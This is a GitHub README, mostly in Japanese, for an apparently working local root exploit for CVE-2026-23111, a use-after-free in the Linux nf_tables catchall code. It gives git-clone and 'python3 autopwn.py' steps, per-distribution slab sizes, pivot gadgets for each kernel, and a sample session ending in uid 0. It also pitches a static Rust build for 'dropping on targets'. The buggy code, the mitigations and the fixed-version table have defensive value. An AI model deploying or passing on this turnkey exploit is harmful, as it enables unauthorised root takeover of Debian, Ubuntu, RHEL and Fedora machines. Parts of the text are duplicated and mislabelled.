
CVE-2026-23111 nf_tables catchall UAF — Linux 5.10-6.18 向け非特権 LPE。KASLR バイパス、任意カーネル読み取り、ROP チェーンを備えた自己適応型エクスプロイト。Debian、Ubuntu、RHEL、Fedora に対応。C/Python/Rust + autopwn。
nf_tables catchall UAF → 非特権LPE。ほとんどの5.10—6.18 Linuxカーネルでユーザーからrootへ権限昇格できます。
ターゲットカーネルに自動適応します — 構造体オフセットの検出、シンボルの解決、ROPガジェットの発見、スラブキャッシュの特定、テーラーメイドのエクスプロイト生成、コンパイル、実行を行います。
nf_tables catchall UAF → 非特権LPE。ほとんどの5.10—6.18 Linuxカーネルでユーザーがrootになれます。
ターゲットカーネルに自動適応します — 構造体オフセットの検出、シンボルの解決、ROPガジェットの発見、スラブキャッシュの特定、テーラーメイドのエクスプロイト生成、コンパイル、実行を行います。


EN: nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)でのgenmaskチェックの反転。トランザクション中止時、ハンドラは再アクティブ化が必要な非アクティブなcatchall要素をスキップし、不要なアクティブな要素を処理します。これにより、chain->use が適切に復元されずにデクリメントされ、まだ参照されているチェーンに対してDELCHAINが可能になり、UAFが発生します。
PT: nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)でのgenmaskチェックの反転。トランザクション中止時、ハンドラは再アクティブ化が必要な非アクティブなcatchall要素をスキップし、不要なアクティブな要素を処理します。これにより、chain->use が適切に復元されずにデクリメントされ、まだ参照されているチェーンに対してDELCHAINが可能になり、UAFが発生します。
バグのある条件:
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
continue;
// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
return 0;
seq_operations 回収からカーネルベースを漏洩させますcommit_creds(init_cred) を実行unshare -rUn(ユーザー名前空間 + ネットワーク名前空間)のみ必要このバグは6.1.36(バックポート)で導入され、複数のLTSブランチに存在します。
これにより、2023年から2026年の間にリリースされた主要なエンタープライズLinuxディストリビューションのほぼすべてをカバーします。
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py
または手順を追って:
python3 checker.py --detailed # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py # find ROP gadgets / encontra gadgets ROP
make # build the exploit / compila o exploit
./exploit # pop root
.
├── autopwn.py full auto — detect, extract, compile, exploit
├── checker.py vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│ ├── exploit.c C exploit
│ ├── exploit.py python wrapper with retry logic
│ └── exploit.rs rust port (compiles static with musl)
├── scripts/
│ ├── extract_offsets.py BTF/pahole offset extractor
│ ├── find_gadgets.py ROP gadget finder (objdump/nm)
│ ├── slab_check.sh slab cache analyzer
│ └── install_deps.sh dependency installer
├── img/ diagrams
├── Makefile build targets (C, Rust, deps)
├── EXPLOITATION.md deep dive into the 5-phase exploit chain
├── DEBUGGING.md step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md edge cases, bypasses, pitfalls
sizeof(nft_chain) はカーネルビルドによって異なります。間違ったスプレーサイズは静かに失敗します。
debian 6.1.172: 120 bytes → kmalloc-128
ubuntu 6.5.x: 136 bytes → kmalloc-192
ubuntu 6.8.x: 152 bytes → kmalloc-192
debian 5.15.x: 112 bytes → kmalloc-128
userdataスプレーは正確な構造体サイズ(スラブサイズではありません)を使用する必要があります。autopwn.py は pahole を介してこれを自動的に処理します。
eval() 呼び出しサイトでexprポインタを保持するレジスタはカーネルバージョンによって異なります。
| カーネル | レジスタ | 必要なガジェット |
|---|---|---|
| 6.1.x (debian) | rbp | leave; jmp __x86_return_thunk |
| 6.5+ (ubuntu) | rbx | mov rsp, rbx; ret または push rbx; pop rsp; ret |
間違ったガジェットは即座にカーネルパニックを引き起こします。常に nft_do_chain を逆アセンブルして検証してください。
最近のカーネルはすべての ret を jmp __x86_return_thunk に置き換えます。ガジェット検索はこれを考慮する必要があります — pop rdi; ret は見つからず、pop rdi; jmp __x86_return_thunk が見つかります。
# C (recommended — fastest, proven)
make
# Rust (static binary with musl — good for dropping on targets)
make rust
# install build deps
make deps
$ id
uid=1000(user) gid=1000(user)
$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root
# id
uid=0(root) gid=0(root) groups=0(root)
| ドキュメント | 内容 |
|---|---|
| EXPLOITATION.md | コード付きの完全なエクスプロイトチェーン解説(EN/PT) |
| DEBUGGING.md |
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)
# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0
# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
nf_tablesアドバイザリによる脆弱性分析を基に、完全なLPEチェーン開発、スラブ解析、複数カーネルへの適応、pivotガジェット研究、autopwnツールを独自に開発しました。
| カーネル範囲 | 修正版 | 影響を受けるディストリビューション |
|---|
| 6.13 — 6.18.9 | 6.18.10 | fedora 41+、arch(ローリング) |
| 6.7 — 6.12.69 | 6.12.70 | ubuntu 24.04/24.10、fedora 39/40 |
| 6.1.36 — 6.1.162 | 6.1.163 | debian 12(bookworm)、RHEL 9 派生 |
| 5.15.121 — 5.15.199 | 5.15.200 | ubuntu 22.04 LTS、debian 11 バックポート |
| 5.10.188+ | 各種 | debian 11(bullseye)、RHEL 8 派生 |
| カーネル向けのすべてのオフセットとガジェットの抽出方法(EN/PT) |
| CONSIDERATIONS.md | エッジケース、バイパス、コンテナ、SMEP/SMAP、検出(EN/PT) |